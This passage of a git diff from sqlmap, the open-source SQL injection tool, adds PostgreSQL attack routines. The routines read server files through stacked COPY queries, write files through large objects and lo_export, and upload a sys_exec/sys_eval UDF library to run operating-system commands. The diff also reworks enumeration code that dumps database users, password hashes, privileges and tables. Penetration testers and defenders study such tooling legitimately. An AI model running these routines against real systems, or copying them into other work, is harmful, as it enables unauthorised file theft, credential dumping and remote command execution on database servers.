"query SQL injection technique" + raise sqlmapUnsupportedFeatureException, errMsg + + + def stackedReadFile(self, rFile): + # TODO: write a UDF to retrieve the hexadecimal encoded content of + # the requested file + warnMsg = "binary file read on PostgreSQL is not yet supported, " + warnMsg += "if the requested file is binary, its content will not " + warnMsg += "be retrieved" + logger.warn(warnMsg) + + infoMsg = "fetching file: '%s'" % rFile + logger.info(infoMsg) + + result = [] + + self.createSupportTbl(self.fileTblName, self.tblField, "bytea") + + logger.debug("loading the content of file '%s' into support table" % rFile) + inject.goStacked("COPY %s(%s) FROM '%s'" % (self.fileTblName, self.tblField, rFile)) + + if kb.unionPosition: + result = inject.getValue("SELECT ENCODE(%s, 'base64') FROM %s" % (self.tblField, self.fileTblName), unpack=False, resumeValue=False, sort=False) + + if not result: + result = [] + count = inject.getValue("SELECT COUNT(%s) FROM %s" % (self.tblField, self.fileTblName), resumeValue=False, charsetType=2) + + if not count.isdigit() or not len(count) or count == "0": + errMsg = "unable to retrieve the content of the " + errMsg += "file '%s'" % rFile + raise sqlmapNoneDataException, errMsg + + indexRange = getRange(count) + + for index in indexRange: + chunk = inject.getValue("SELECT ENCODE(%s, 'base64') FROM %s OFFSET %d LIMIT 1" % (self.tblField, self.fileTblName, index), unpack=False, resumeValue=False, sort=False) + result.append(chunk) + + return result + + + def unionWriteFile(self, wFile, dFile, fileType, confirm=True): + errMsg = "PostgreSQL does not support file upload with UNION " + errMsg += "query SQL injection technique" + raise sqlmapUnsupportedFeatureException, errMsg + + + def stackedWriteFile(self, wFile, dFile, fileType, confirm=True): + wFileSize = os.path.getsize(wFile) + + if wFileSize > 8192: + errMsg = "on PostgreSQL it is not possible to write files " + errMsg += "bigger than 8192 bytes at the moment" + raise sqlmapUnsupportedFeatureException, errMsg + + self.oid = randomInt() + + debugMsg = "creating a support table to write the base64 " + debugMsg += "encoded file to" + logger.debug(debugMsg) + + self.createSupportTbl(self.fileTblName, self.tblField, "text") + + logger.debug("encoding file to its base64 string value") + fcEncodedList = self.fileEncode(wFile, "base64", False) + + debugMsg = "forging SQL statements to write the base64 " + debugMsg += "encoded file to the support table" + logger.debug(debugMsg) + + sqlQueries = self.fileToSqlQueries(fcEncodedList) + + logger.debug("inserting the base64 encoded file to the support table") + + for sqlQuery in sqlQueries: + inject.goStacked(sqlQuery) + + debugMsg = "create a new OID for a large object, it implicitly " + debugMsg += "adds an entry in the large objects system table" + logger.debug(debugMsg) + + # References: + # http://www.postgresql.org/docs/8.3/interactive/largeobjects.html + # http://www.postgresql.org/docs/8.3/interactive/lo-funcs.html + inject.goStacked("SELECT lo_unlink(%d)" % self.oid) + inject.goStacked("SELECT lo_create(%d)" % self.oid) + + debugMsg = "updating the system large objects table assigning to " + debugMsg += "the just created OID the binary (base64 decoded) UDF " + debugMsg += "as data" + logger.debug(debugMsg) + + # Refereces: + # * http://www.postgresql.org/docs/8.3/interactive/catalog-pg-largeobject.html + # * http://lab.lonerunners.net/blog/sqli-writing-files-to-disk-under-postgresql + # + # NOTE: From PostgreSQL site: + # + # "The data stored in the large object will never be more than + # LOBLKSIZE bytes and might be less which is BLCKSZ/4, or + # typically 2 Kb" + # + # As a matter of facts it was possible to store correctly a file + # large 13776 bytes, the problem arises at next step (lo_export()) + inject.goStacked("UPDATE pg_largeobject SET data=(DECODE((SELECT %s FROM %s), 'base64')) WHERE loid=%d" % (self.tblField, self.fileTblName, self.oid)) + + debugMsg = "exporting the OID %s file content to " % fileType + debugMsg += "file '%s'" % dFile + logger.debug(debugMsg) + + # NOTE: lo_export() exports up to only 8192 bytes of the file + # (pg_largeobject 'data' field) + inject.goStacked("SELECT lo_export(%d, '%s')" % (self.oid, dFile)) + + if confirm == True: + self.askCheckWrittenFile(wFile, dFile, fileType) + + inject.goStacked("SELECT lo_unlink(%d)" % self.oid) + + + def udfInit(self): + self.getVersionFromBanner() + + banVer = kb.bannerFp["dbmsVersion"] + dFile = None + wFile = paths.SQLMAP_UDF_PATH + lib = "libsqlmapudf%s" % randomStr(lowercase=True) + + if banVer >= "8.3": + majorVer = "8.3" + else: + majorVer = "8.2" + + if kb.os == "Windows": + wFile += "/postgresql/windows/%s/lib_postgresqludf_sys.dll" % majorVer + libExt = "dll" + else: + wFile += "/postgresql/linux/%s/lib_postgresqludf_sys.so" % majorVer + libExt = "so" + + for udf in ( "sys_exec", "sys_eval" ): + if udf in self.createdUdf: + continue + + logger.info("checking if %s UDF already exist" % udf) + + query = agent.forgeCaseStatement("(SELECT proname='%s' FROM pg_proc WHERE proname='%s' OFFSET 0 LIMIT 1)" % (udf, udf)) + exists = inject.getValue(query, resumeValue=False, unpack=False) + + if exists == "1": + message = "%s UDF already exists, do you " % udf + message += "want to overwrite it? [y/N] " + output = readInput(message, default="N") + + if output and output in ("y", "Y"): + self.udfToCreate.add(udf) + else: + self.udfToCreate.add(udf) + + if len(self.udfToCreate) > 0: + # On Windows + if kb.os == "Windows": + # The DLL can be in any folder where postgres user has + # read/write/execute access is valid + # NOTE: by not specifing any path, it will save into the + # data directory, on PostgreSQL 8.3 it is + # C:\Program Files\PostgreSQL\8.3\data. + dFile = "%s.%s" % (lib, libExt) + + # On Linux + else: + # The SO can be in any folder where postgres user has + # read/write/execute access is valid + dFile = "/tmp/%s.%s" % (lib, libExt) + + self.writeFile(wFile, dFile, "binary", False) + + for udf, retType in ( ( "sys_exec", "int4" ), ( "sys_eval", "text" ) ): + if udf in self.createdUdf: + continue + + if udf in self.udfToCreate: + logger.info("creating %s UDF from the binary UDF file" % udf) + + # Reference: http://www.postgresql.org/docs/8.3/interactive/sql-createfunction.html + inject.goStacked("DROP FUNCTION %s" % udf) + inject.goStacked("CREATE OR REPLACE FUNCTION %s(text) RETURNS %s AS '%s', '%s' LANGUAGE C RETURNS NULL ON NULL INPUT IMMUTABLE" % (udf, retType, dFile, udf)) + else: + logger.debug("keeping existing %s UDF as requested" % udf) + + self.createdUdf.add(udf) + + self.envInitialized = True + + debugMsg = "creating a support table to write commands standard " + debugMsg += "output to" + logger.debug(debugMsg) + + self.createSupportTbl(self.cmdTblName, self.tblField, "text") + + + def uncPathRequest(self): + self.createSupportTbl(self.fileTblName, self.tblField, "text") + inject.goStacked("COPY %s(%s) FROM '%s'" % (self.fileTblName, self.tblField, self.uncPath), silent=True) + self.cleanup(onlyFileTbl=True) diff --git a/plugins/generic/__init__.py b/plugins/generic/__init__.py index 8bff2cf7d..a22b4f873 100644 --- a/plugins/generic/__init__.py +++ b/plugins/generic/__init__.py @@ -5,8 +5,8 @@ $Id$ This file is part of the sqlmap project, http://sqlmap.sourceforge.net. -Copyright (c) 2006-2009 Bernardo Damele A. G. - and Daniele Bellucci +Copyright (c) 2007-2009 Bernardo Damele A. G. +Copyright (c) 2006 Daniele Bellucci sqlmap is free software; you can redistribute it and/or modify it under the terms of the GNU General Public License as published by the Free diff --git a/plugins/generic/enumeration.py b/plugins/generic/enumeration.py index d342a2652..d2ba693aa 100644 --- a/plugins/generic/enumeration.py +++ b/plugins/generic/enumeration.py @@ -5,8 +5,8 @@ $Id$ This file is part of the sqlmap project, http://sqlmap.sourceforge.net. -Copyright (c) 2006-2009 Bernardo Damele A. G. - and Daniele Bellucci +Copyright (c) 2007-2009 Bernardo Damele A. G. +Copyright (c) 2006 Daniele Bellucci sqlmap is free software; you can redistribute it and/or modify it under the terms of the GNU General Public License as published by the Free @@ -29,6 +29,7 @@ import re from lib.core.agent import agent from lib.core.common import getRange from lib.core.common import parsePasswordHash +from lib.core.common import readInput from lib.core.data import conf from lib.core.data import kb from lib.core.data import logger @@ -39,12 +40,14 @@ from lib.core.exception import sqlmapMissingMandatoryOptionException from lib.core.exception import sqlmapNoneDataException from lib.core.exception import sqlmapUndefinedMethod from lib.core.exception import sqlmapUnsupportedFeatureException +from lib.core.session import setOs from lib.core.settings import SQL_STATEMENTS from lib.core.shell import autoCompletion from lib.core.unescaper import unescaper from lib.parse.banner import bannerParser from lib.request import inject from lib.request.connect import Connect as Request +from lib.techniques.inband.union.test import unionTest from lib.techniques.outband.stacked import stackedTest @@ -55,43 +58,79 @@ class Enumeration: """ def __init__(self, dbms): - self.has_information_schema = False + kb.data.has_information_schema = False + kb.data.banner = "" + kb.data.currentUser = "" + kb.data.currentDb = "" + kb.data.cachedUsers = [] + kb.data.cachedUsersPasswords = {} + kb.data.cachedUsersPrivileges = {} + kb.data.cachedDbs = [] + kb.data.cachedTables = {} + kb.data.cachedColumns = {} + kb.data.dumpedTable = {} - self.banner = "" - self.currentUser = "" - self.currentDb = "" - self.cachedUsers = [] - self.cachedUsersPassword = {} - self.cachedUsersPrivileges = {} - self.cachedDbs = [] - self.cachedTables = {} - self.cachedColumns = {} - self.dumpedTable = {} - - temp.inference = queries[dbms].inference + temp.inference = queries[dbms].inference def forceDbmsEnum(self): pass - def getPrematureBanner(self, query): - if conf.getBanner: - self.banner = inject.getValue(query) + def getVersionFromBanner(self): + if "dbmsVersion" in kb.bannerFp: + return - bannerParser(self.banner) + infoMsg = "detecting back-end DBMS version from its banner" + logger.info(infoMsg) + + if kb.dbms == "MySQL": + first, last = 1, 6 + + elif kb.dbms == "PostgreSQL": + first, last = 12, 6 + + elif kb.dbms == "Microsoft SQL Server": + first, last = 29, 9 + + else: + raise sqlmapUnsupportedFeatureException, "unsupported DBMS" + + query = queries[kb.dbms].substring % (queries[kb.dbms].banner, first, last) + + kb.bannerFp["dbmsVersion"] = inject.getValue(query, unpack=False) + kb.bannerFp["dbmsVersion"] = kb.bannerFp["dbmsVersion"].replace(",", "").replace("-", "").replace(" ", "") def getBanner(self): + if not conf.getBanner: + return + + kb.dbmsDetected = True + infoMsg = "fetching banner" logger.info(infoMsg) - query = queries[kb.dbms].banner + if not kb.data.banner: + if conf.unionUse or conf.unionTest: + dumper.string("valid union", unionTest()) - if not self.banner: - self.banner = inject.getValue(query) + query = queries[kb.dbms].banner + kb.data.banner = inject.getValue(query) + bannerParser(kb.data.banner) - return self.banner + if conf.os and conf.os == "windows": + kb.bannerFp["type"] = set([ "Windows" ]) + + elif conf.os and conf.os == "linux": + kb.bannerFp["type"] = set([ "Linux" ]) + + elif conf.os: + kb.bannerFp["type"] = set([ "%s%s" % (conf.os[0].upper(), conf.os[1:]) ]) + + setOs() + + return kb.data.banner def getCurrentUser(self): @@ -100,10 +139,10 @@ class Enumeration: query = queries[kb.dbms].currentUser - if not self.currentUser: - self.currentUser = inject.getValue(query) + if not kb.data.currentUser: + kb.data.currentUser = inject.getValue(query) - return self.currentUser + return kb.data.currentUser def getCurrentDb(self): @@ -112,10 +151,10 @@ class Enumeration: query = queries[kb.dbms].currentDb - if not self.currentDb: - self.currentDb = inject.getValue(query) + if not kb.data.currentDb: + kb.data.currentDb = inject.getValue(query) - return self.currentDb + return kb.data.currentDb def isDba(self): @@ -124,9 +163,9 @@ class Enumeration: query = agent.forgeCaseStatement(queries[kb.dbms].isDba) - self.isDba = inject.getValue(query) + kb.data.isDba = inject.getValue(query, unpack=False, charsetType=1) - return str(self.isDba == "1") + return kb.data.isDba == "1" def getUsers(self): @@ -136,9 +175,9 @@ class Enumeration: rootQuery = queries[kb.dbms].users condition = ( kb.dbms == "Microsoft SQL Server" and kb.dbmsVersion[0] in ( "2005", "2008" ) ) - condition |= ( kb.dbms == "MySQL" and not self.has_information_schema ) + condition |= ( kb.dbms == "MySQL" and not kb.data.has_information_schema ) - if conf.unionUse: + if kb.unionPosition: if condition: query = rootQuery["inband"]["query2"] else: @@ -146,9 +185,9 @@ class Enumeration: value = inject.getValue(query, blind=False) if value: - self.cachedUsers = value + kb.data.cachedUsers = value - if not self.cachedUsers: + if not kb.data.cachedUsers: infoMsg = "fetching number of database users" logger.info(infoMsg) @@ -156,7 +195,7 @@ class Enumeration: query = rootQuery["blind"]["count2"] else: query = rootQuery["blind"]["count"] - count = inject.getValue(query, inband=False, expected="int") + count = inject.getValue(query, inband=False, expected="int", charsetType=2) if not count.isdigit() or not len(count) or count == "0": errMsg = "unable to retrieve the number of database users" @@ -172,13 +211,13 @@ class Enumeration: user = inject.getValue(query, inband=False) if user: - self.cachedUsers.append(user) + kb.data.cachedUsers.append(user) - if not self.cachedUsers: + if not kb.data.cachedUsers: errMsg = "unable to retrieve the database users" raise sqlmapNoneDataException, errMsg - return self.cachedUsers + return kb.data.cachedUsers def getPasswordHashes(self): @@ -192,7 +231,7 @@ class Enumeration: logger.info(infoMsg) - if conf.unionUse: + if kb.unionPosition: if kb.dbms == "Microsoft SQL Server" and kb.dbmsVersion[0] in ( "2005", "2008" ): query = rootQuery["inband"]["query2"] else: @@ -223,22 +262,22 @@ class Enumeration: password = parsePasswordHash(password) - if not self.cachedUsersPassword.has_key(user): - self.cachedUsersPassword[user] = [password] + if not kb.data.cachedUsersPasswords.has_key(user): + kb.data.cachedUsersPasswords[user] = [password] else: - self.cachedUsersPassword[user].append(password) + kb.data.cachedUsersPasswords[user].append(password) - if not self.cachedUsersPassword: + if not kb.data.cachedUsersPasswords: if conf.user: if "," in conf.user: users = conf.user.split(",") else: users = [conf.user] else: - if not len(self.cachedUsers): + if not len(kb.data.cachedUsers): users = self.getUsers() else: - users = self.cachedUsers + users = kb.data.cachedUsers retrievedUsers = set() @@ -260,7 +299,7 @@ class Enumeration: query = rootQuery["blind"]["count2"] % user else: query = rootQuery["blind"]["count"] % user - count = inject.getValue(query, inband=False, expected="int") + count = inject.getValue(query, inband=False, expected="int", charsetType=2) if not count.isdigit() or not len(count) or count == "0": warnMsg = "unable to retrieve the number of password " @@ -287,7 +326,7 @@ class Enumeration: passwords.append(password) if passwords: - self.cachedUsersPassword[user] = passwords + kb.data.cachedUsersPasswords[user] = passwords else: warnMsg = "unable to retrieve the password " warnMsg += "hashes for user '%s'" % user @@ -295,12 +334,12 @@ class Enumeration: retrievedUsers.add(user) - if not self.cachedUsersPassword: + if not kb.data.cachedUsersPasswords: errMsg = "unable to retrieve the password " errMsg += "hashes for the database users" raise sqlmapNoneDataException, errMsg - return self.cachedUsersPassword + return kb.data.cachedUsersPasswords def __isAdminFromPrivileges(self, privileges): @@ -314,11 +353,11 @@ class Enumeration: # In MySQL >= 5.0 the SUPER privilege means # that the user is DBA - dbaCondition |= ( kb.dbms == "MySQL" and self.has_information_schema and "SUPER" in privileges ) + dbaCondition |= ( kb.dbms == "MySQL" and kb.data.has_information_schema and "SUPER" in privileges ) # In MySQL < 5.0 the super_priv privilege means # that the user is DBA - dbaCondition |= ( kb.dbms == "MySQL" and not self.has_information_schema and "super_priv" in privileges ) + dbaCondition |= ( kb.dbms == "MySQL" and not kb.data.has_information_schema and "super_priv" in privileges ) return dbaCondition @@ -372,8 +411,8 @@ class Enumeration: ( 3, "catupd" ), ) - if conf.unionUse: - if kb.dbms == "MySQL" and not self.has_information_schema: + if kb.unionPosition: + if kb.dbms == "MySQL" and not kb.data.has_information_schema: query = rootQuery["inband"]["query2"] condition = rootQuery["inband"]["condition2"] else: @@ -386,7 +425,7 @@ class Enumeration: query += " WHERE " # NOTE: I assume that the user provided is not in # MySQL >= 5.0 syntax 'user'@'host' - if kb.dbms == "MySQL" and self.has_information_schema: + if kb.dbms == "MySQL" and kb.data.has_information_schema: queryUser = "%" + conf.user + "%" query += " OR ".join("%s LIKE '%s'" % (condition, "%" + user + "%") for user in users) else: @@ -400,7 +439,7 @@ class Enumeration: # NOTE: I assume that the user provided is not in # MySQL >= 5.0 syntax 'user'@'host' - if kb.dbms == "MySQL" and self.has_information_schema: + if kb.dbms == "MySQL" and kb.data.has_information_schema: queryUser = "%" + conf.user + "%" query += " WHERE %s LIKE '%s'" % (condition, queryUser) else: @@ -431,12 +470,12 @@ class Enumeration: # In MySQL >= 5.0 and Oracle we get the list # of privileges as string - elif kb.dbms == "Oracle" or ( kb.dbms == "MySQL" and self.has_information_schema ): + elif kb.dbms == "Oracle" or ( kb.dbms == "MySQL" and kb.data.has_information_schema ): privileges.add(privilege) # In MySQL < 5.0 we get Y if the privilege is # True, N otherwise - elif kb.dbms == "MySQL" and not self.has_information_schema: + elif kb.dbms == "MySQL" and not kb.data.has_information_schema: for position, mysqlPriv in mysqlPrivs: if count == position and privilege.upper() == "Y": privileges.add(mysqlPriv) @@ -444,16 +483,16 @@ class Enumeration: if self.__isAdminFromPrivileges(privileges): areAdmins.add(user) - if self.cachedUsersPrivileges.has_key(user): - self.cachedUsersPrivileges[user].extend(privileges) + if kb.data.cachedUsersPrivileges.has_key(user): + kb.data.cachedUsersPrivileges[user].extend(privileges) else: - self.cachedUsersPrivileges[user] = list(privileges) + kb.data.cachedUsersPrivileges[user] = list(privileges) - if not self.cachedUsersPrivileges: + if not kb.data.cachedUsersPrivileges: conditionChar = "=" if conf.user: - if kb.dbms == "MySQL" and self.has_information_schema: + if kb.dbms == "MySQL" and kb.data.has_information_schema: conditionChar = " LIKE " if "," in conf.user: @@ -475,17 +514,17 @@ class Enumeration: users = [ conf.user ] else: - if not len(self.cachedUsers): + if not len(kb.data.cachedUsers): users = self.getUsers() else: - users = self.cachedUsers + users = kb.data.cachedUsers retrievedUsers = set() for user in users: unescapedUser = None - if kb.dbms == "MySQL" and self.has_information_schema: + if kb.dbms == "MySQL" and kb.data.has_information_schema: unescapedUser = unescaper.unescape(user, quote=False) if user in retrievedUsers: @@ -500,13 +539,13 @@ class Enumeration: else: queryUser = user - if kb.dbms == "MySQL" and not self.has_information_schema: + if kb.dbms == "MySQL" and not kb.data.has_information_schema: query = rootQuery["blind"]["count2"] % queryUser - elif kb.dbms == "MySQL" and self.has_information_schema: + elif kb.dbms == "MySQL" and kb.data.has_information_schema: query = rootQuery["blind"]["count"] % (conditionChar, queryUser) else: query = rootQuery["blind"]["count"] % queryUser - count = inject.getValue(query, inband=False, expected="int") + count = inject.getValue(query, inband=False, expected="int", charsetType=2) if not count.isdigit() or not len(count) or count == "0": warnMsg = "unable to retrieve the number of " @@ -521,9 +560,9 @@ class Enumeration: indexRange = getRange(count) for index in indexRange: - if kb.dbms == "MySQL" and not self.has_information_schema: + if kb.dbms == "MySQL" and not kb.data.has_information_schema: query = rootQuery["blind"]["query2"] % (queryUser, index) - elif kb.dbms == "MySQL" and self.has_information_schema: + elif kb.dbms == "MySQL" and kb.data.has_information_schema: query = rootQuery["blind"]["query"] % (conditionChar, queryUser, index) else: query = rootQuery["blind"]["query"] % (queryUser, index) @@ -546,12 +585,12 @@ class Enumeration: # In MySQL >= 5.0 and Oracle we get the list # of privileges as string - elif kb.dbms == "Oracle" or ( kb.dbms == "MySQL" and self.has_information_schema ): + elif kb.dbms == "Oracle" or ( kb.dbms == "MySQL" and kb.data.has_information_schema ): privileges.add(privilege) # In MySQL < 5.0 we get Y if the privilege is # True, N otherwise - elif kb.dbms == "MySQL" and not self.has_information_schema: + elif kb.dbms == "MySQL" and not kb.data.has_information_schema: privilege = privilege.replace(", ", ",") privs = privilege.split(",") i = 1 @@ -570,11 +609,11 @@ class Enumeration: # In MySQL < 5.0 we break the cycle after the first # time we get the user's privileges otherwise we # duplicate the same query - if kb.dbms == "MySQL" and not self.has_information_schema: + if kb.dbms == "MySQL" and not kb.data.has_information_schema: break if privileges: - self.cachedUsersPrivileges[user] = list(privileges) + kb.data.cachedUsersPrivileges[user] = list(privileges) else: warnMsg = "unable to retrieve the privileges " warnMsg += "for user '%s'" % user @@ -582,16 +621,16 @@ class Enumeration: retrievedUsers.add(user) - if not self.cachedUsersPrivileges: + if not kb.data.cachedUsersPrivileges: errMsg = "unable to retrieve the privileges " errMsg += "for the database users" raise sqlmapNoneDataException, errMsg - return ( self.cachedUsersPrivileges, areAdmins ) + return ( kb.data.cachedUsersPrivileges, areAdmins ) def getDbs(self): - if kb.dbms == "MySQL" and not self.has_information_schema: + if kb.dbms == "MySQL" and not kb.data.has_information_schema: warnMsg = "information_schema not available, " warnMsg += "back-end DBMS is MySQL < 5. database " warnMsg += "names will be fetched from 'mysql' database" @@ -602,25 +641,25 @@ class Enumeration: rootQuery = queries[kb.dbms].dbs - if conf.unionUse: - if kb.dbms == "MySQL" and not self.has_information_schema: + if kb.unionPosition: + if kb.dbms == "MySQL" and not kb.data.has_information_schema: query = rootQuery["inband"]["query2"] else: query = rootQuery["inband"]["query"] value = inject.getValue(query, blind=False) if value: - self.cachedDbs = value + kb.data.cachedDbs = value - if not self.cachedDbs: + if not kb.data.cachedDbs: infoMsg = "fetching number of databases" logger.info(infoMsg) - if kb.dbms == "MySQL" and not self.has_information_schema: + if kb.dbms == "MySQL" and not kb.data.has_information_schema: query = rootQuery["blind"]["count2"] else: query = rootQuery["blind"]["count"] - count = inject.getValue(query, inband=False, expected="int") + count = inject.getValue(query, inband=False, expected="int", charsetType=2) if not count.isdigit() or not len(count) or count == "0": errMsg = "unable to retrieve the number of databases" @@ -629,24 +668,24 @@ class Enumeration: indexRange = getRange(count) for index in indexRange: - if kb.dbms == "MySQL" and not self.has_information_schema: + if kb.dbms == "MySQL" and not kb.data.has_information_schema: query = rootQuery["blind"]["query2"] % index else: query = rootQuery["blind"]["query"] % index db = inject.getValue(query, inband=False) if db: - self.cachedDbs.append(db) + kb.data.cachedDbs.append(db) - if not self.cachedDbs: + if not kb.data.cachedDbs: errMsg = "unable to retrieve the database names" raise sqlmapNoneDataException, errMsg - return self.cachedDbs + return kb.data.cachedDbs def getTables(self): - if kb.dbms == "MySQL" and not self.has_information_schema: + if kb.dbms == "MySQL" and not kb.data.has_information_schema: errMsg = "information_schema not available, " errMsg += "back-end DBMS is MySQL < 5.0" raise sqlmapUnsupportedFeatureException, errMsg @@ -660,7 +699,7 @@ class Enumeration: rootQuery = queries[kb.dbms].tables - if conf.unionUse: + if kb.unionPosition: query = rootQuery["inband"]["query"] condition = rootQuery["inband"]["condition"] @@ -681,22 +720,22 @@ class Enumeration: if value: for db, table in value: - if not self.cachedTables.has_key(db): - self.cachedTables[db] = [table] + if not kb.data.cachedTables.has_key(db): + kb.data.cachedTables[db] = [table] else: - self.cachedTables[db].append(table) + kb.data.cachedTables[db].append(table) - if not self.cachedTables: + if not kb.data.cachedTables: if conf.db: if "," in conf.db: dbs = conf.db.split(",") else: dbs = [conf.db] else: - if not len(self.cachedDbs): + if not len(kb.data.cachedDbs): dbs = self.getDbs() else: - dbs = self.cachedDbs + dbs = kb.data.cachedDbs for db in dbs: if conf.excludeSysDbs and db in self.excludeDbsList: @@ -710,7 +749,7 @@ class Enumeration: logger.info(infoMsg) query = rootQuery["blind"]["count"] % db - count = inject.getValue(query, inband=False, expected="int") + count = inject.getValue(query, inband=False, expected="int", charsetType=2) if not count.isdigit() or not len(count) or count == "0": warnMsg = "unable to retrieve the number of " @@ -727,21 +766,21 @@ class Enumeration: tables.append(table) if tables: - self.cachedTables[db] = tables + kb.data.cachedTables[db] = tables else: warnMsg = "unable to retrieve the tables " warnMsg += "for database '%s'" % db logger.warn(warnMsg) - if not self.cachedTables: + if not kb.data.cachedTables: errMsg = "unable to retrieve the tables for any database" raise sqlmapNoneDataException, errMsg - return self.cachedTables + return kb.data.cachedTables def getColumns(self, onlyColNames=False): - if kb.dbms == "MySQL" and not self.has_information_schema: + if kb.dbms == "MySQL" and not kb.data.has_information_schema: errMsg = "information_schema not available, " errMsg += "back-end DBMS is MySQL < 5.0" raise sqlmapUnsupportedFeatureException, errMsg @@ -770,7 +809,7 @@ class Enumeration: rootQuery = queries[kb.dbms].columns - if conf.unionUse: + if kb.unionPosition: if kb.dbms in ( "MySQL", "PostgreSQL" ): query = rootQuery["inband"]["query"] % (conf.tbl, conf.db) elif kb.dbms == "Oracle": @@ -789,9 +828,9 @@ class Enumeration: for column, colType in value: columns[column] = colType table[conf.tbl] = columns - self.cachedColumns[conf.db] = table + kb.data.cachedColumns[conf.db] = table - if not self.cachedColumns: + if not kb.data.cachedColumns: infoMsg = "fetching number of columns " infoMsg += "for table '%s'" % conf.tbl infoMsg += " on database '%s'" % conf.db @@ -804,7 +843,7 @@ class Enumeration: elif kb.dbms == "Microsoft SQL Server": query = rootQuery["blind"]["count"] % (conf.db, conf.db, conf.tbl) - count = inject.getValue(query, inband=False, expected="int") + count = inject.getValue(query, inband=False, expected="int", charsetType=2) if not count.isdigit() or not len(count) or count == "0": errMsg = "unable to retrieve the number of columns " @@ -849,15 +888,15 @@ class Enumeration: if columns: table[conf.tbl] = columns - self.cachedColumns[conf.db] = table + kb.data.cachedColumns[conf.db] = table - if not self.cachedColumns: + if not kb.data.cachedColumns: errMsg = "unable to retrieve the columns " errMsg += "for table '%s' " % conf.tbl errMsg += "on database '%s'" % conf.db raise sqlmapNoneDataException, errMsg - return self.cachedColumns + return kb.data.cachedColumns def dumpTable(self): @@ -882,19 +921,19 @@ class Enumeration: if conf.col: colList = conf.col.split(",") - self.cachedColumns[conf.db] = {} - self.cachedColumns[conf.db][conf.tbl] = {} + kb.data.cachedColumns[conf.db] = {} + kb.data.cachedColumns[conf.db][conf.tbl] = {} for column in colList: - self.cachedColumns[conf.db][conf.tbl][column] = None - elif not self.cachedColumns: - if kb.dbms == "MySQL" and not self.has_information_schema: + kb.data.cachedColumns[conf.db][conf.tbl][column] = None + elif not kb.data.cachedColumns: + if kb.dbms == "MySQL" and not kb.data.has_information_schema: errMsg = "information_schema not available, " errMsg += "back-end DBMS is MySQL < 5.0" raise sqlmapUnsupportedFeatureException, errMsg - self.cachedColumns = self.getColumns(onlyColNames=True) + kb.data.cachedColumns = self.getColumns(onlyColNames=True) - colList = self.cachedColumns[conf.db][conf.tbl].keys() + colList = kb.data.cachedColumns[conf.db][conf.tbl].keys() colList.sort(key=lambda x: x.lower()) colString = ", ".join(column for column in colList) @@ -905,7 +944,7 @@ class Enumeration: infoMsg += " on database '%s'" % conf.db logger.info(infoMsg) - if conf.unionUse: + if kb.unionPosition: if kb.dbms == "Oracle": query = rootQuery["inband"]["query"] % (colString, conf.tbl.upper()) else: @@ -919,8 +958,8 @@ class Enumeration: for column in colList: colLen = len(column) - if not self.dumpedTable.has_key(column): - self.dumpedTable[column] = { "length": 0, "values": [] } + if not kb.data.dumpedTable.has_key(column): + kb.data.dumpedTable[column] = { "length": 0, "values": [] } for entry in entries: if isinstance(entry, str): @@ -931,14 +970,14 @@ class Enumeration: colEntryLen = len(colEntry) maxLen = max(colLen, colEntryLen) - if maxLen > self.dumpedTable[column]["length"]: - self.dumpedTable[column]["length"] = maxLen + if maxLen > kb.data.dumpedTable[column]["length"]: + kb.data.dumpedTable[column]["length"] = maxLen - self.dumpedTable[column]["values"].append(colEntry) + kb.data.dumpedTable[column]["values"].append(colEntry) index += 1 - if not self.dumpedTable: + if not kb.data.dumpedTable: infoMsg = "fetching number of " if conf.col: infoMsg += "columns '%s' " % colString @@ -950,7 +989,7 @@ class Enumeration: query = rootQuery["blind"]["count"] % conf.tbl.upper() else: query = rootQuery["blind"]["count"] % (conf.db, conf.tbl) - count = inject.getValue(query, inband=False, expected="int") + count = inject.getValue(query, inband=False, expected="int", charsetType=2) if not count.isdigit() or not len(count) or count == "0": errMsg = "unable to retrieve the number of " @@ -961,7 +1000,7 @@ class Enumeration: if conf.dumpAll: logger.warn(errMsg) - return self.dumpedTable + return kb.data.dumpedTable else: raise sqlmapNoneDataException, errMsg @@ -1001,15 +1040,15 @@ class Enumeration: else: length = lengths[column] - self.dumpedTable[column] = { + kb.data.dumpedTable[column] = { "length": length, "values": columnEntries, } entriesCount = len(columnEntries) - if self.dumpedTable: - self.dumpedTable["__infos__"] = { + if kb.data.dumpedTable: + kb.data.dumpedTable["__infos__"] = { "count": entriesCount, "table": conf.tbl, "db": conf.db @@ -1023,32 +1062,32 @@ class Enumeration: if conf.dumpAll: logger.warn(errMsg) - return self.dumpedTable + return kb.data.dumpedTable else: raise sqlmapNoneDataException, errMsg - return self.dumpedTable + return kb.data.dumpedTable def dumpAll(self): - if kb.dbms == "MySQL" and not self.has_information_schema: + if kb.dbms == "MySQL" and not kb.data.has_information_schema: errMsg = "information_schema not available, " errMsg += "back-end DBMS is MySQL < 5.0" raise sqlmapUnsupportedFeatureException, errMsg - conf.db = None - conf.tbl = None - conf.col = None - self.cachedDbs = [] - self.cachedTables = self.getTables() + conf.db = None + conf.tbl = None + conf.col = None + kb.data.cachedDbs = [] + kb.data.cachedTables = self.getTables() - for db, tables in self.cachedTables.items(): + for db, tables in kb.data.cachedTables.items(): conf.db = db for table in tables: conf.tbl = table - self.cachedColumns = {} - self.dumpedTable = {} + kb.data.cachedColumns = {} + kb.data.dumpedTable = {} data = self.dumpTable() @@ -1071,20 +1110,22 @@ class Enumeration: break - if selectQuery == True: + message = "do you want to retrieve the SQL statement output? " + message += "[Y/n] " + getOutput = readInput(message, default="Y") + + if not getOutput or getOutput in ("y", "Y"): infoMsg = "fetching %s query output: '%s'" % (sqlType, query) logger.info(infoMsg) output = inject.getValue(query, fromUser=True) + + return output else: if kb.stackedTest == None: stackedTest() if kb.stackedTest == False: - warnMsg = "the web application does not support " - warnMsg += "stacked queries" - logger.warn(warnMsg) - return None else: if sqlType: @@ -1114,7 +1155,7 @@ class Enumeration: query = None try: - query = raw_input("sql> ") + query = raw_input("sql-shell> ") except KeyboardInterrupt: print errMsg = "user aborted" diff --git a/plugins/generic/filesystem.py b/plugins/generic/filesystem.py index 4686b19f8..7d3312cd4 100644 --- a/plugins/generic/filesystem.py +++ b/plugins/generic/filesystem.py @@ -5,8 +5,8 @@ $Id$ This file is part of the sqlmap project, http://sqlmap.sourceforge.net. -Copyright (c) 2006-2009 Bernardo Damele A. G. - and Daniele Bellucci +Copyright (c) 2007-2009 Bernardo Damele A. G. +Copyright (c) 2006 Daniele Bellucci sqlmap is free software; you can redistribute it and/or modify it under the terms of the GNU General Public License as published by the Free @@ -24,7 +24,19 @@ Franklin St, Fifth Floor, Boston, MA 02110-1301 